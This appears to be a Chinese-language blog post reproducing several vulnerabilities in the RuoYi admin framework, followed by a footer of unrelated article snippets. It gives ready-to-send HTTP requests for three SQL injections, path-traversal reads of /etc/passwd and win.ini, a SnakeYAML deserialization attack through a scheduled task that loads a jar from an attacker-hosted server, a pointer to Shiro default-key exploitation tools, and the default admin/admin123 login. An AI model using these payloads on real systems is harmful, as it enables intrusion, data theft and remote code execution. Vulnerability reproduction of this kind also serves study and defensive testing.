首页 > 其他分享 >RuoYi--------漏洞复现

RuoYi--------漏洞复现

时间:2023-12-06 19:33:38浏览次数:36  
标签:-------- en http ip RuoYi Accept yaml 复现 payload

1、 前台shiro默认key导致反序列化命令执行

工具:shiro反序列化漏洞综合利用工具 增强版 或 LiqunKi

2、 后台sql注入(需要管理员权限)

第1处:点击角色管理,并抓包

数据包如下

Poc:
POST /system/role/list HTTP/1.1
Host: ip
Content-Length: 205
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Content-Type: application/x-www-form-urlencoded
Origin: http://ip
Referer: http://ip/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=b1150b49-0fb3-4f08-abb5-241836639bad
Connection: close

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

第2处:角色编辑接口

POST /system/dept/edit HTTP/1.1
Host: ip
Content-Length: 115
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ip
Referer: http://ip/system/dept/edit/200
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=b1150b49-0fb3-4f08-abb5-241836639bad
Connection: close

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select+user()))))%3b%23

第3处:用户导出

POST /system/role/export HTTP/1.1
Host: ip
Content-Length: 179
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ip
Referer: http://ip/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=b1150b49-0fb3-4f08-abb5-241836639bad
Connection: close

params[dataScope]=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

3、 若依后台任意文件读取(CNVD-2021-01931)(普通用户即可)

Poc:/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini

4、 后台定时任务存在反序列化漏洞利用点导致rce(管理员权限)

影响版本:RuoYi<4.6.2

因在线靶场故障,此部分使用本地环境

下载payload:https://github.com/artsploit/yaml-payload

修改AwesomeScriptEngineFactory.java文件,将里面的值修改为要执行的命令

然后切换到yaml-payload-master目录,编写yaml-payload.yml文件(如果没有请自行创建)

yaml-payload.yml文件内容:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://ip:端口/yaml-payload.jar"]
  ]]
]

在该目录下执行以下命令进行编译(java环境使用的是1.8)

javac src/artsploit/AwesomeScriptEngineFactory.java    //编译java文件
jar -cvf yaml-payload.jar -C src/ .                    //打包成jar包

在yaml-payload-master目录下使用python开起一个简易http服务

python3 -m http.server 8888

进入若依后台,添加一个计划任务

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ip:端口/yaml-payload.jar"]]]]')

此处成功收到回显

本地成功弹出计算器

5、 admin admin123(弱口令)

标签:--------,en,http,ip,RuoYi,Accept,yaml,复现,payload
From: https://www.cnblogs.com/wavewindsor/p/17880329.html

相关文章

  • python入门之深浅拷贝】---python 深浅拷贝
    title:【python入门之深浅拷贝】---python深浅拷贝date:2023-12-0618:54:06updated:2023-12-0619:20:00description:【python入门之深浅拷贝】---python深浅拷贝cover:https://zhuanlan.zhihu.com/p/631965597https://home.cnblogs.com/u/dream-ze/【......
  • Zuma
    原题链接点拨:运用动态规划的思路对于一给定的字符串,其未来和现在有什么关系?假如其过去已知,其现在和过去有什么?细节当两端相等时,继承不一定比从中间合起来要小代码#include<bits/stdc++.h>usingnamespacestd;intmain(){intn;scanf("%d",&n);inta[50......
  • 无涯教程-Erlang - is_tuple函数
    此方法用于确定所提供的术语确实是元组。is_tuple-语法is_tuple(tuple)tuple-这是要验证的元组是否真的是元组。is_tuple-返回值如果确实输入的值是元组,则返回true,否则将返回false。-module(helloLearnfk).-export([start/0]).start()->P={john,24,{june,2......
  • 【揭秘】并发情况下如何巧妙加锁
    单体架构下锁的实现方案ReentrantLock全局锁ReentrantLock(可重入锁),指的是一个线程再次对已持有的锁保护的临界资源时,重入请求将会成功。简单的与我们常用的Synchronized进行比较:ReentrantLockSynchronized锁实现机制依赖AQS监视器模式灵活性支持响应超时、中断......
  • openGauss学习笔记-146 openGauss 数据库运维-备份与恢复-配置文件的备份与恢复
    openGauss学习笔记-146openGauss数据库运维-备份与恢复-配置文件的备份与恢复146.1背景信息在openGauss使用过程中,如果静态配置文件无意损坏后,会影响openGauss感知openGauss拓扑结构和主备关系。使用gs_om工具生成的静态配置文件,可以替换已经损坏的配置文件,保证openGauss的正......
  • # yyds干货盘点 # 分享一个Python网络爬虫数据采集利器
    前言你是否曾为获取重要数据而感到困扰?是否因为数据封锁而无法获取所需信息?是否因为数据格式混乱而头疼?现在,所有这些问题都可以迎刃而解。让我为大家介绍一款强大的数据收集平台——亮数据BrightData。作为世界领先的数据收集平台,亮数据以其高效、可靠和灵活的方式检索提取关键的......
  • 5 分钟,带你入门 FreeMarker 模板引擎!
    大家好,我是鱼皮。最近不是打算带大家做一个代码生成项目嘛,项目的第一阶段就是先做一个本地的代码生成器。代码生成器的核心功能就是根据用户输入的选项参数来生成不同的代码文件。代码生成器的核心原理那么如何实现这个功能呢?最经典的方法就是:提前编写模板文件,并将用户输入的参......
  • SpringBoot学习系列-YAML(后缀为.yml)配置文件使用
    学习使用: YAML 是一种可读性高,以数据为中心的数据序列化格式。什么是序列化?序列化指的是将自定义的对象或者其他数据进行持久化,从而方便进行传输和存储。一般情况下,能够序列化的数据一定能够通过反序列化恢复。注:序列化的目的之一是方便持久化数据,定义本身和持久化应该没啥......
  • Misc_XCTF_WriteUp | SimpleRAR
    题目分析打开压缩包提示文件头损坏:查看并分析十六进制文件。标记块(MARK_HEAD)5261:【0x6152-头部CRC校验值(固定)-2字节】72:【0x72-块类型(固定)-1字节】表示标记块211A:【0x1A21-阻止标志(固定)-2字节】0700:【0x0007-块大小(固定)-2字节】标记块大小共7字节压缩文......
  • golang的try catch 方式
    列子如下:main.go 1try.Catch(func(errerror){2//异常处理3fmt.Println(err)4}).Then(func()error{5//执行代码16//...78//如果有异常即抛出异常9returnnil10}).Then(func()error{11//执行代码212/......